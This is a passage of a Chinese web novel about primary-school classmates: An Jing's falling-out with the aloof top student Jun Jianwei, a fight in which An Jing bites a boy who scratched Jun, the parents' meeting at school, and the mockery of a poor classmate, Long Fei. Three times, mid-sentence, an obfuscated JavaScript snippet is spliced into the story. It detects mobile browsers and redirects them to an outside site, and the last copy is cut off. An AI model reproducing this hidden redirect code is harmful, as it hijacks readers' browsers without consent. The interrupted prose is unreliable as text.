安靖便重新发起话题,指了指君见微胳膊上用别针别着的那一小块黑布,用一种惊异羡慕的语气询问道:“哇,你这个是什么呀?也是大队长,小队长那种吗?” 这一次君见微再也没有办法容忍安靖这该死的愚蠢了,“你闭嘴啊!!”他奋力将安靖一推,朝其吼道。 安靖叫他推得抓住旁边桌子才好险没摔倒,有些生气地转目看君见微,就见君见微平日那双漂亮的丹凤眼此刻瞪得眼圈泛红,像是愤怒到极致又像是要哭的征兆。 “把无知当有趣吗?不学无术还从来不以之为耻。你知不知道你这样会给别人带来多少麻烦伤害?我恳请你以后不要再来找我!我从你入学第一天就说了,我不想和你做朋友!请你有点自知之明好吗?” 安靖愣愣地看着君见微似怒似悲地向自己说出这些话,前面的没听懂,但是后面的懂了。君见微觉得被自己伤害到了,而且不想和自己做朋友,也不想再和他一起玩了。 可他又不知道自己怎么伤害了君见微,君见微为什么不想和自己做朋友,便有些失措和迷茫。 自君见微发脾气以后,整个教室都安安静静的,大家都往这边看。 同窗三个月了,君见微这个全班第一一向严肃冷淡,有种超脱同龄人的成熟和忧郁,从来没和谁特别交好,也没和谁红脸急眼过。 安靖虽然一头雾水又难受,但也知道,无论如何,应该道个歉。 他用两人能听见的分贝对君见微小声说了句对不起,然后一步三回头地慢慢回到了自己座位。 龙飞不知道是出于好奇还是关心,亦或是两者都有,还走过来问安靖:“你怎么惹他了?” 安靖摇沮丧地小幅度摇头说不知道,龙飞还想细问,上课铃就响了。 安靖的情绪也一直很低沉,直到放学后,他跟龙飞一起走在回家路上把这事从头细讲后,龙飞瞪着眼睛看着他,好半天才冒了句:“我的天啊……” 他脸上挂着极其夸张的怪表情,一脸安靖是个傻比的强烈情绪输出,指着自己胳膊:“戴在这里的黑布,是表示家里有亲人死掉了,戴这个表示孝敬。你说这种话,别说他要打你,就是观音菩萨来了都要打你噢!” 安靖惊讶地“啊”了一声,随即便满心懊恼:“哎呀,我怎么那么蠢啊……我都不知道。” 天知道安靖是个记事以来便没有经历过亲族中人去世的幸运孩子,君见微又一向是他心中极为厉害的同龄人,身上一切佩戴加身的东西在他眼中都肯定带着荣耀。他本意是想顺着夸赞不高兴的君见微的。因为他就很喜欢别人夸他,再生气也会开心起来。 当前安靖在君见微与他的友谊小船上砸下的明显是个深渊巨洞,怎么填,对两个小朋友来说根本一筹莫展,安靖怀着惆怅的心情和猴子分别了。 回家后,他把这件事告诉了妈妈。 日常对儿子的愚蠢程度服气,但仍旧每日都要为其刷新的高度而感到惊叹的安靖妈妈:…… “我怎么会生出你这么个蠢儿子?!!”安靖妈妈开始冥思苦想究竟是当初抱错了,还是安靖爸爸的基因有问题。 “我跟他道歉了,龙飞后来也跟我说过了,我知道自己错了,”安靖很难过地说道,“他还说从来就不想跟我做好朋友……” 他期期艾艾地向妈妈求证:“是气话吧?” 之前安爸安妈对他的道歉让他学会了一个词——“气话”,情绪激动的时候说的那些伤人话都不是真心的,说过的人也会很后悔,所以听话的人不要当真。 不等妈妈回答,他又马上搬出论证:“他一直都愿意跟我玩的。”虽然有时候很嫌弃他,可是那是因为君见微不喜欢和学习无关的东西。而且他说话,君见微都有听的。班里也只有他和君见微玩得最好,其他人都没怎么和君见微讲话的。就连胡争和君见微说过的话也没他的多呢。 安靖妈妈还记着君见微这个很招儿子喜欢还成绩很好的小孩之前吓唬儿子的事,如今再听儿子这么一说,总感觉这孩子心眼很多,有可能还真是装模作样做朋友。自家的崽这么憨,跟这种人做朋友她也确实不放心。 她说:“你道歉了他也不原谅你那就算了,那你就也不要跟他玩了嘛。不是还有很多其他小朋友吗?” “我就想跟他玩,”安靖固执道。 本来安靖就觉得这事是他做错了,要是真的因为这事以后不来往了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142088|164526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他会一直愧疚下去的。 安靖妈妈无奈:“那随你怎么样,你把学习成绩给我搞好就行。别再一天到晚玩些没有用的东西。你看看你那些书啊,啧,都烂成什么样子了,全部打卷,目录也掉没了……” 从妈妈这里也没有得到办法,安靖只有用最笨的办法,找君见微道歉。 “我真的不知道那是家里人死掉了才戴的那个,是龙飞跟我说我才知道的,对不起,真的对不起……”安靖下午早早到了学校,等到君见微一来就粘上去了,不断地道歉,“可不可以和好啊?” 君见微把书包一放,看向他,神情比往常还冷淡:“我说过了,我不想跟你做朋友。从来都不想。请你以后别再来烦我了。” “为,为什么不想跟我做朋友啊?”安靖心有锥刺一般,咽喉也是,说话都发紧得生疼。 “因为你很讨厌。不要再问了好吗?不想跟你说话。” 安靖绞着小手,望着君见微不知所措,而君见微再也不看他。 安靖眼圈就红了,他低下头走开了。 下午第一节课时,音乐老师还没教几句就听到一阵啜泣声。 她看向吸引了全班小朋友注意力的哭声来源,走了过去,揉了揉这个正埋头哭的小男孩的头,温声问道:“怎么了呀?” 安靖前座的同学转过头来跟老师说道:“他跟君见微吵架了。” 全班的目光又都投向了君见微。 君见微:…… 他发现安靖性格毛毛躁躁,行事不顾后果,貌似不管做什么,总是会掀起一股吸引所有人注目的大动静。他真的很讨厌安靖这一点。 安靖接过老师递来的餐巾纸擦着眼泪和鼻涕,补充解释道:“因为我做错事了,他不肯原谅我……” 随即又坚强地说道:“谢谢老师,我没事的,过,过一会就好了,呜呜呜……”好丢人啊,可是好难受,实在忍不住。 音乐老师看他这么可怜,便有意试试看能不能促成两人和好,又抬头向班上同学问道:“那君见微是哪位同学啊?你看这个同学因为跟你吵架这么伤心,肯定很想跟你做朋友的,不能原谅他吗?” 全班小朋友的目光再次投向了君见微,包括安靖,那双沾满泪花子的湿润大眼睛也闪动着希望朝他望去。 事件的这另一位当事人、男主角君见微只有铁青着脸站起来:“我不想和他做朋友。希望老师尊重我的意愿,不要再劝了。” “哦……”班里同学齐齐发出哀叹声,再次把目光转回安靖。 “呜——”原本在抽泣的安靖当即又忍不住从喉咙里发出了压制不住的悲鸣。 音乐老师一听君见微这种故作成熟的话语,便知道这小孩不好糊弄,牙疼道:“好吧。” 她又抽了张餐巾纸给安靖,但看他那眼泪哗哗的模样一张肯定不够用的,干脆把整包都留给了安靖,劝慰道:“好了好了,别哭了,跟着老师学唱歌好不好啊?”然后回到了讲台上。 接下来的课堂上,无论是老师教导,还是小朋友们跟着学唱,阵阵歌声中都诡异地掺杂着安靖的呜咽与他那带着哭腔几近变调的歌唱,时不时还有响亮又悠长的擤鼻涕声。 那天,安靖足足哭了半节课,在班里还有了爱哭鬼的外号。 在之后的日子里,安靖也逐渐清晰地明白君见微无意和好,他再怎么道歉,做多少努力,也再无法得到君见微的原谅,和君见微做回朋友的这一事实。 从一开始,安靖还会时不时难过地望向坐在第三排的君见微,交作业时也会朝来收作业的君见微露出含着几分期盼的目光,但是每每被冷漠神情所击回,后来也就没有再刻意去看了。 当初那么难受和愧疚的心情也很快恢复了从前的无忧无虑,成日和朋友们玩着元宝、画片,或者去操场扔沙包,爬单杠,笑声就和他之前的哭声一样响亮。 直到那件事的发生,两人断裂的关系又似乎看到了转折点。 12. 请家长 事情发生在一天早读课后,君见微一如既往来收语文家庭作业,陈子翔的前座赶紧找陈子翔要回其早读课找他要去抄的作业本。 陈子翔死死用手按住他前座的作业本,说:“等一下,等一下就抄完了。” “安靖的呢?你怎么不抄他的?” “我说过了,他不给,而且早就交掉了,”陈子翔一边抄一边快速答道,话语中还带着怨气。 君见微把后面的作业都收掉以后站在了安靖的空座位上——安靖坐在外面临过道,陈子翔坐在里面。 他一脸冷漠地看向陈子翔的前座同学:“交不交?再不交我就走了。” 陈子翔的前座赶紧从陈子翔的手下夺回了自己的作业本,递给君见微。 “咚!”右手里还握着笔陈子翔愤愤锤了一下桌子,怒瞪向君见微,朝他伸出手:“给我。”周围同学都被他突然捶桌的巨响吓了一跳。 但君见微对他的威吓不作丝毫理会,在记录未交作业的学生名单上添上陈子翔的名字,然后抱着作业本离开。 孰料陈子翔一个暴起,冲上去伸手成爪挠向君见微,君见微猝不及防,顿时脖子和下巴上就被抓出了肿胀的红痕,甚至有些部分还破皮渗出血点。 上完厕所从教室外回来的安靖一进门就见此情状,当即脑袋就炸成了空白,怒吼了一声:“陈子翔!!!” 他瞪着眼睛像一颗出膛的炮弹一样直撞了上去,将陈子翔推开扑倒在地,然后坐在陈子翔身上跟其互相打了起来。 陈子翔除了不爱刷牙导致一口黄牙以外,还不爱剪指甲,指甲又长又黑,跟安靖对打就是用爪子挠,嘴里不住还骂着难听的脏话。 奈何安靖力气大,跟他打架是直接上拳头,而且似乎一点不畏疼,脸和脖子上被挠破了皮,拳头也没见有丝毫停滞,左右拳头像擂鼓一般,拳拳到肉。 陈子翔被打得挠了三五爪子便只有挥舞着双手阻拦自己挨打的份,又是护头又是挡胸的,最后好不容易两手抓住安靖的两只手腕,将其紧紧地攥住了。 双方的四只手在僵持之下不住地发抖,他们疲惫地喘着气,眼睛死死瞪着彼此。陈子翔清晰地看见自己上方安靖眼睛瞪得吓人,当中满满都是暴怒,不像自己已经心生畏惧。一旦松手,他想的是逃窜,而安靖绝对是要接着把他往死里揍!这一天到晚对君见微摇尾巴的贱哈巴狗连脖子上的青筋都爆出来了,牙齿死死咬得咯吱咯吱响,鼻子和嘴巴像发怒的斗牛一般喘着气。 实在可怕极了。 旁边的同学都看得惊呆了,君见微急忙要去把坐在陈子翔身上的安靖拉起来:“安……” 安靖低头“嗷”地一口狠狠咬住了陈子翔的喉咙。 “啊!!!——”陈子翔发出了几乎要冲破天花板的惨叫。 办公室里。 班主任把三个孩子从医务室里带过来后,坐在办公椅上,面沉如水地看着他们。 “陈子翔,你作业不交怪谁?还好意思打收作业的小组长?”她率先向陈子翔发出了质问,“收作业是我让组长收的,作业也是我布置的,你是不是还要来打我了?” 陈子翔喉咙上包扎着纱布,他半垂着头,看着地面,面上表情和眼神都是愤恨。 “你爸爸上次来家长会的时候,还跟我保证过以后会盯着你把作业做完。现在呢?啊,作业不完成,还学会了打人,”班主任对这个屡教不改的孩子颇是无奈,“晚上回去记得叫你爸爸或者妈妈打个电话给我,听到没有?以后你的作业呢,包括其他科目的,你也不用交给小组长了,我会跟其他科目老师都打好招呼,你以后就全部都直接交到我手上。我会每天下早读就在办公室里等你。要是这样你还不写,你就跟我一块留在办公室里,我陪着你写!不写完,你中午饭都不要回家吃。听到没有?” “……” “我问你,听到没有?” “……听到了。” “那就这样说定了,”班主任说完陈子翔,又把矛头指向安靖,“还有你,啊,安靖。陈子翔抓了一下君见微而已,你可以来告诉老师,叫老师处理啊,干嘛还跟人打起来了?打架很光荣哈?” 满脸肿血印的安靖瞟了一眼君见微下巴和脖子上那三道未褪的红痕,怒意未消道:“谁让他打君见微的,君见微都流血了,以后他敢欺负君见微我还打他!” “嚯!”班主任为这小家伙的猖狂惊异得瞪大眼,随即嘲讽道:“诶,之前不是还听说你跟君见微吵架了吗?这会两人又这么好了?你俩的友情还真是感天动地啊。” 安靖被臊得耳朵都发烫,他忍不住地瞅了一眼君见微,不料正与之视线对上,没等安靖心里掀起更多情绪,君见微就瞪了他一眼,转过头去。 安靖抿了抿嘴唇,低下头不说话。 班主任接着训道:“还用嘴咬人?那是狗才干的事情,你是人,以后碰到这种事要找老师,知不知道?不准打架!”她看到陈子翔那被包扎的喉咙都头疼。 正好上课铃响了,她身心疲惫地站起身:“都回教室上课吧。” 班主任跟着他们一起进了教室,然后让安靖又换了个座位,换去了第四组第三排外面那座。新同桌是曾经和安靖下课一起打过弹珠的朋友。 不仅如此,他现在就和胡争就隔着过道,和君见微隔着过道和胡争。而且龙飞也在第四组,就坐在第五排,也就是他后面的后面。 这也算是因祸得福,安靖挺高兴的。 不过,安靖已经好一段时间没老往君见微那里看了,换座位后,他忍不住放纵自己瞄了眼君见微,看到的依旧是君见微一如既往坐得笔直端正,认真听课的侧颜。 中午回家后,安靖妈妈一看到安靖那副惨样就炸了,她又气又急地一边掀起他衣服检查他的伤:“谁打的?啊?!谁欺负你了?!身上还有没有?衣服脱下来我看看?除了脸上,肚子上还有没有?” “没有了没有了,就是脸上,是我同桌陈子翔打的,”安靖急忙使劲推妈妈的手,像电影里的武林高手一样昂着头,满脸不屑,“哼,他压根打不过我,就知道拿手指甲抓,指甲都不剪,比我还不讲卫生呢!我像武松打老虎一样把他按在地上打!” 安妈妈依然不放心,非要把安靖上身衣服都脱了仔细检查是否有乌青红肿:“你干嘛好端端要跟他打架啊?我下午就去找他!还有这种事啊,学习不好就算了,还欺负我崽……” “哎呀,不是啦,他没欺负我,他打君见微!妈妈,你不知道,他不做作业还打君见微!!” 安靖事无巨细、罗里吧嗦地对妈妈说了事情经过,说的时候不由又生气起来,替君见微委屈。 安妈妈也很生气:“你上次不是还跟君见微吵架了吗?什么时候又跟人家这么好了?人家打君见微关你什么事?他自己不会出手啊还要你上去帮人家打?碰到这种事肯定是去告诉老师啦!” 安靖只用一双黝黑的大眼睛望着妈妈不吱声,没好意思说他俩其实压根没和好。不然妈妈越发要生气。 而且君见微哪里能打得过陈子翔,他那么爱读书的小朋友,从来不打架,肯定打不赢陈子翔这个坏孩子的。 “你还咬人……唉,还不晓得会不会给人家脖子上留疤。人家回去爸妈肯定要找我算账的。这次要是人家家长索赔医药费,那就是我们出。人家君见微什么事都没有。” 安靖妈妈一个劲的絮絮叨叨,内心愈发觉得不平,更加怀疑君见微是个有心眼的小孩,有什么事都是安靖吃亏,不过也是自家小孩太蠢了。 “算了算了,吃饭吃饭。待会我打个电话去问下你班主任。” 结果饭刚吃完,家里电话就响了,是班主任打来的。 安靖妈妈先前的怨言一语成谶——班主任表示方才接了陈子翔家长的电话,对方要安靖的家长下午来学校就他家小孩被打、被咬伤的这件事进行一下协商。 安靖妈妈脸上带着笑应承着老师的电话,挂断后脸色就沉了下去。 安靖在一旁听到了电话里的对话,懂了个大概,他绞着两只小手,不安地看向妈妈:“妈妈……” 安靖妈妈一脸无语地朝他摇摇头深叹了口气,回到饭厅收拾碗筷:“没事,就那个抓得你脸上一道一道的陈子翔家里人下午找妈妈去学校谈一下你们打架的事。 呵,他们要找我?我还要找他们呢!抓得我儿子脸上一道一道的,还不知道会不会破相。不做作业,还好意思打人,不晓得是什么蠢X生的狗崽子,下午去看一下。” 真的要请家长。 安靖的心一个劲地往下沉,恐慌弥漫。 在他看来,请家长都是学生犯了那种能让天塌下来的严重事,学校才会采取的措施。他下意识地生出几分后悔,可很快又被他打散了,君见微被人打了,他要是不帮忙打回去,那才真叫人生气后悔呢。 下午安靖妈妈带着惴惴不安的安靖提前半小时去了学校。 进了班主任的办公室后,便见陈子翔和陈子翔妈妈已经在里面了。陈子翔他妈也有一张马脸,不知是不是心理作用,其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142089|164526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面目看起来有些叫人不喜的刻薄,就和陈子翔一样不讨喜。 班主任刚向安靖妈妈打了个招呼,陈子翔妈妈就操着方言走上前道: “哦,你就是安靖妈妈呀。啧啧啧,你来看看,你来看看,你儿子把我儿子打得哟,身上青一块紫一块,造孽哦。你儿子还咬人你晓得吧,我儿子的脖子上被你儿子咬得流好多血……”语气和眼神里除了心疼愤怒,还带着质疑家教的轻蔑。 “还流好多血?你不要骗人了!就破了点皮而已!当时多少小孩看着的,伤也是班主任带着去处理的。你要这个态度,我就不跟你客气了啊,你来看看你儿子给我儿子弄得!啊,抓得一脸一脖子的伤,这里,还有这里,你说说这怎么见人?!你儿子那指甲里不晓得有脏,多少细菌!我儿子都不晓得脸上会不会留疤!” 安靖妈妈平日待人处事非常礼貌得体,为人公认的大方又热心,这会人设全崩,仿佛变了个人一般,拽着安靖上前指着他身上的伤噼里啪啦一顿说,平日跟安靖说普通话有些不标准,用方言跟人理论起来可流利得吓人。 “你有那么关心你儿子你晓得你儿子天天不做作业吧?我是天天辅导我儿子把作业做完的嘞。你儿子成绩差就算了,还长期不做作业,老抄人家作业你晓得不?不做作业还有脸去打人家收作业的!人家收作业的是全班第一名,入学测试双百分,期中考试还是双百分你晓得吧? 哎哟,那种好学生哪里打得过你儿子这种成绩差的?我儿子跟人家好朋友,才跟你儿子打起来的。本来我中午看到我儿子这一脸的道子不晓得有多心疼,还想想小孩子打架算了算了。没想到你连儿子学习都不关心的人,这会还追着我纠责任?!那你要认真讲起来,你儿子是一个打了两个诶,人家全班第一名脸上还挂着伤嘞!你现在跟我在这里理论,对,我儿子是跟你儿子打得两败俱伤,那人家那个那么爱读书的平白被你儿子抓得满脸血道子手都没还,怎么说嘞?你怎么不把人家家长叫到这里来?我真是觉得好笑。” 君见微这个纯挨打的乖学生一被提起,陈子翔妈妈便有些理亏。 班主任也在一旁劝,还说了君见微家长表示小孩子打架,没打算追究的态度。 最后掰扯出的处理结果是,安靖妈妈意思意思赔了陈子翔家二十块钱。 然后班主任让安靖和安靖妈妈先回去了,她要同陈子翔和陈子翔妈妈探讨一下陈子翔的学习和教育。 安靖妈妈临走前还朝班主任笑着点点头说辛苦老师,对不起,小孩子太皮给老师添麻烦了。 随即又对陈子翔妈妈说了句你有这么关心小孩,那学习更不能一股脑全丢给老师,成绩考不好家长没办法,但起码作业是要盯着小孩完成的,这是对老师的基本尊重。 意思就是自己家不尊重老师咯?陈子翔妈妈被堵得满肚子气却无话可说。 把儿子送到教室门口,安靖妈妈嘱咐了一句安靖:“以后如果别人打你,你就打回去,妈妈会来处理。但是别人在打架你不要再插手了听到没?” 安靖“嗯”了一声,跟妈妈作别后进了教室。 然后又一次习惯性朝君见微的座位上看去,却正好和抬头看门口的君见微对上视线。 对方视线在进门的安靖和门外的安靖妈妈身上打了个来回,然后又一脸漠然地低下了头。 晚上安靖爸爸回来后听到儿子打架赔钱的事非但没有生气,还对自己儿子打赢了挺高兴自豪的,还兴致勃勃地拉着儿子量了一下身高,这两个月又长了1厘米的新发现让父子俩欢喜不已。 原本安靖觉得发展得挺严重的一件事,就这么过去了。 没过两天,君见微在放学时找到安靖,把一封信递给了安靖。 他依然像个小大人那样,衣着整洁,说话得体又成熟:“之前打架的事谢谢你给我出头,不过以后希望你不要再这么做了,我自己会处理的。还有这个,请你收下,回去交给你妈妈。很对不起给你和你妈妈添麻烦了。” 说罢,君见微就背着书包走了。 受宠若惊的安靖木愣愣地接过信,都忘了叫住君见微,告诉他自己很乐意帮他,没有觉得麻烦。 自两人吵架以后,难得君见微竟然主动找他说话,这本来应该是个和好的契机,但他被君见微递来的这一封信弄懵了。 安靖有些懊恼,但是很快被对手里这封信的好奇和欢喜掩盖。 他还从来没收过信,总感觉信这种东西彰显着郑重,君见微递来的这封薄薄的信此刻在他手里仿佛沉甸甸的。 13. 小叫花子 这封信的雪白信封上,没贴邮票,也没写邮政编码和地址之类,只有简单的“给安靖妈妈”五个字,是君见微一向脱颖同龄人的漂亮字迹。 安靖怀着某种说不出的隐秘心情和紧张激动,咽了咽口水,万分小心地把信封口慢慢撕开。 往里头一看,发现就一张青色的崭新五十元。 他把五十元拿出来,然后又往里看看,还看了看自己脚下周围。 然后终于失望地认识到,信封里是真的只有这五十元钱,没有什么信。 “他干嘛给你钱啊?”龙飞突然从身后冒出来问了这么一句,把安靖吓了一跳。 安靖想了想,带着猜测的语气把妈妈赔了陈子翔家二十元的事告诉了龙飞。 “哇塞,翻倍诶,太赚了!”龙飞兴奋地说道。 安靖闻言有些不高兴地嘟起嘴,翻了个白眼。 他帮君见微又不是为了赚钱。 回家后,安靖跟妈妈说了此事并把钱递给了妈妈。 妈妈却让安靖把钱还给君见微:“这个钱不能收的呀,你去还给人家。就让君见微跟他家里人说,你跟君见微是好朋友,互相帮忙是应该的。而且陈子翔身上的伤是你打出来的,不关君见微的事,这件事妈妈还有陈子翔妈妈已经协商过了。让君见微心里不要有负担。” 于是安靖私自把信封留了下来,然后用这个借口高兴地去找了君见微,并坚决把钱还给了他,磕磕绊绊地跟他说了妈妈说的那番话。 君见微垂下眼,闷不吭声地收回了自己的五十元。 这之后安靖又开始每天尝试着去找君见微说话,以期君见微能够慢慢接受他的示好,原谅他,继续和他做好朋友。 而果然君见微虽是依旧对他爱答不理,却也没有再开口阻止他再来同讲话了。这让安靖心中暗喜。 这天早读课快下的时候,安靖身后传来他后座男生把牛奶盒子吸溜到残余快空的声音,随后紧接着又听到龙飞小声说“胡自远,把你奶盒子给我吧。” “龙飞,”方天怡这时突然唤道。 她朝龙飞晃了晃手里拿着的营养快线瓶子,脸上挂着灿烂笑容,眼中闪烁着恶意:“这个你要不要啊?” 龙飞说:“你愿意给就拿过来咯。” 方天怡真的站起来了,并且向后面走去,然后路过了龙飞,走向了教室最后方的垃圾桶,把瓶子往里一扔。 回来的时候,她对龙飞笑着说:“我扔垃圾桶了,去捡。小叫花子。” 龙飞那张黄黑的脸涨得通红。 龙飞是个显而易见性的穷人家小孩,他也从来没有去掩藏过这一点。 他桌子底下天天放着一个专门放饮料瓶的塑料袋,经常会跟班里人说要是有喝完不要的饮料瓶子或者牛奶盒都给他。 坐在他附近的同学跟他玩得不错,会照做。但是坐得远的很多人,和龙飞关系也不算很熟,都会扔到垃圾桶里。 所以龙飞每天放学后会不嫌脏地去翻班里垃圾桶,把里面的瓶子、纸盒拿出来,放进他的塑料袋里,回家之前去一趟废品站把这些卖掉。 别人玩破了不要的元宝、写完的稿纸,他也会搜集起来做废纸卖。甚至他的草稿纸都是用别人不要的本子上撕下来的空白页装订成本。 而大家时常会买校门口的辣条、冰棍吃,他更是从来不买,还跟安靖说辣条都是用大人抠的脚皮做的,冰棍是用洗脚水做的,吃了会拉肚子——安靖这个笨蛋也从来没想过谁会专门挨家挨户地辛辛苦苦搜集脚皮和洗脚水来做辣条冰棍,当初愣是信了,后来被其他同学嘲笑并戳破这个谎言以后,才重新继续买这些小零食吃,而每次分给龙飞吃时也不见之前振振有词的龙飞有哪次拒绝的,反而跟他一起吃得津津有味。 一毛两毛的零食,班里同学都基本买得起。但是一两块的饮料和水,却不可能天天买。家里会烧水,教室里也有饮水机,不管有钱没钱,大多人都用一个自己惯用的喝水瓶子拿来装水喝。所以龙飞每天能捡的瓶子不多。 但方天怡是个例外。她家里是开超市的,经常换着冰红茶、果粒橙、爽歪歪之类的各种不同饮料喝。 不知道是之前龙飞摔坏了她的笔,得罪了她,还是她本来就很讨厌龙飞。收瓶子的龙飞分明离她这么近,她每次都会离开座位走到更远的垃圾桶把瓶子扔了,然后还要特意跟龙飞说一句我扔了瓶子到垃圾桶里了。 龙飞也似乎从来不觉得有什么——至少表面上看不出他有任何不满,每天放学就会去翻,毕竟他捡的瓶子不少都来自她。 今天方天怡这行为却是当着大家的面明明白白地侮辱他,还叫他“小叫花子”。 坐在附近听到的同学都笑了起来,远些的同学就不断地追问怎么了,怎么了。 有的同学在给不明首尾的同学“科普”之后,还以一种嬉笑、嘲弄的兴奋语气讨论起龙飞的妈妈在学校外卖酱饼的事。 龙飞的妈妈总是骑着一辆绑着保温泡沫箱的自行车在校门口卖酱饼,班里很多同学,包括安靖也有买。 龙飞妈妈开学起就从来没接送过龙飞,一直到前段时间家长会时,有出于好奇跟着家长一起来的同学看到了龙飞的妈妈,才知道那个经常在校门外卖酱饼的女人就是他妈妈,第二天就跟其他同学小范围传开了,只是当时这种小事也没有引起多少水花。 然而,在现在这个情状下,一切能够印证龙飞贫穷的事情似乎都成了值得拿出来惊异的谈资和笑点。 混乱的朗读 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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台上班长林珍道:“闭嘴!我要记名字了!不准嘲笑同学!安靖你给我坐下。都好好早读!大家把语文书翻到第二单元后面的【日积月累】。” “安靖又要咬人了!”不知是谁抖了这么个机灵,本来听了班长的话都在低头动手翻书的班里瞬间又大笑起来。 林珍急得大声喊着:“安静!安静!不准再吵了!我要记名字了!” 然而“安靖”这个名字的谐音梗再次点爆孩子们那低到地心的笑点。 “有什么好笑的?”君见微突然站起来冷声道。 班里莫名其妙就因为君见微的出声安静了下来,惊讶又有些怯畏地看向君见微。 14. 你喜欢吃什么 君见微在班中人心里的定位是奇怪又特殊的。 他考试成绩优秀,写得一手好字,全部拿优的课堂作业和满是红钩的试卷经常被任课老师拿来展示,是各科老师们公开课上点名回答问题作秀时最亲睐的宠儿; 不仅如此,他还会乒乓球,在低年级书法比赛和乒乓球比赛中双双拿下第一,学习爱好都能争得班级荣誉,是班主任委托传话做事的除班长外不二人选。 老师们对他的偏爱是哪怕小孩子都能够清晰地感受得出来的。之前陈子翔敢打他在班里同学眼中那都是不可思议的大胆行为,如果不是安靖出手转移仇恨,陈子翔一定会成为老师最厌恶的学生。 而且不同于班长,君见微从不参与班里任何一个小圈子,也从不与人嬉戏打闹,除了上赶着的安靖好像没有什么其他特别亲近的朋友,懂得又比别人多,平时说话认真严肃得就像个小大人一样掷地有声,时常叫其他小朋友感觉到距离和压力,对其敬而远之。 今天,这个平日里从来“遗(zi)世(bi)而(you)独(leng)立(mo)”的同学突然站起来,主动卷进这件事中,满脸冷漠地质问全班同学。 而一众小朋友也的确都被震住了。 君见微又用他那惯用的大人口吻平静地为这件事的性质下了定义:“龙飞用正当手段收集这些还存在价值的废品,找到销售途径卖出去,这是正常的商业买卖行为。合理合法做生意而已,我不明白这其中有什么可嘲笑的。” 方天怡平时也有听自家爸妈聊家里超市那些进货供货销售之类的事,这话唬不住她,嗤笑道:“就是卖破烂的,还做生意?哪个做生意的是卖破烂的?” 君见微微微抬起下巴,那双眼睛睨向她,微微一偏头,说道:“夏虫不可语于冰,井蛙不可语于海。听不懂就算了。”说完便坐下了。 方天怡没听懂,但是被君见微那个表情气了个仰倒,又没法说出反驳的话来。怎么反驳?人家的话都没听明白。 全班小朋友也是一脸茫然,只不明觉厉,纷纷小声询问周围,什么意思啊?他在说什么? 龙飞却是很准地抓住了重点,抓住时机顺杆儿爬,得意地说道:“意思就是我是做生意的小老板,知道吧?嘿嘿。” “……”从懵逼中恢复清醒回到人间的班长再次说道,“好了哦,大家都安静,从现在开始记名字,再说话我告老师了。陈子翔你还说!” 安靖望向君见微的眼神里全是星星,崇拜得要命。 就算听不懂,但是重要的是,君见微真的好聪明!好了不起!好厉害啊! 放学回家的路上,安靖又忍不住手舞足蹈地同龙飞再一次说起了君见微今天为他们仗义执言的。 平日对君见微并不怎么感冒的龙飞,这一次也终于和安靖一样对君见微拜服,在安靖对君见微恭维吹彩虹屁的时候不住点头。 回家后,安靖又不厌其烦地跟妈妈说了这事:“……不过他说的那两句话我不记得是什么了。反正,很酷很酷的!全班人都没有他聪明!”他两眼再次放光。 “他那么聪明,都是平时喜欢读书,又天天上课听讲的原因,你也要向他学习,”妈妈教育道,随即又用手指点点他面前的饭碗,“你吃饭好好吃,都吃到外面来了。” 安靖赶紧把自己掉桌上的饭粒都夹起来吃掉了。 妈妈感叹道:“龙飞这小孩也是挺可怜的。你们班上同学笑话他,那是他们不懂事。但是你不能笑话他,你们是好朋友,他成绩还那么好。你朋友成绩都这么好,你要他们好好教教你怎么学习嘛。” 安靖发现不管说什么话题,妈妈总是有那个本领能够把话题扯到学习上,然后让他好好学习。 他像那些摆在车上的点头狗公仔一样胡乱地点着头应承着。 妈妈又问道:“那个龙飞穿你衣服的事你没往外说吧?” 安靖赶紧把点头换成了大力摇头。 开学不久的一个周末,有个老太太来他们这里收废品时,看见一旁地板上扔着两件安靖的旧衣服,听安靖妈妈说是不要的,当即表示自己有个孙子,个头比安靖小,然后讨要了这两件衣服。 安靖妈妈当即又翻出了好几件安靖的旧衣服,一年四季的都有,拿袋子装好全给了老太太。 安靖当时也在旁边。后来和龙飞经常一道回家时,他就发现,龙飞身上时不时会出现同自己以前一模一样的衣服。回家跟妈妈一说,妈妈说那个老太太应该就是龙飞的奶奶,让安靖不要说出去。 安靖一向爱说话,但这件事他确实是谁也没有再说过,好朋友面前也没提过。 妈妈表扬道:“我崽崽好乖。你后天生日,我到时候带你去街上买两件新衣服。你生日想吃什么?” 得妈妈提醒,安靖才记起自己生日已经近在眼前了。 他高兴地回答道:“想吃水果蛋糕,还有卤鸭、汉堡包……” 生日这天。 一大早安靖就被妈妈温柔地叫醒了:“崽崽,起来了。今天是你生日,生日快乐!” 安靖眼睛都还睁不开,听到这话脸上美美地露了个笑。 迷迷瞪瞪地被妈妈抱起来,伸手伸脚让妈妈给他穿衣服。 直到洗漱完之后,随着意识的逐渐清醒,大脑开始运转,安靖才兴奋了起来。 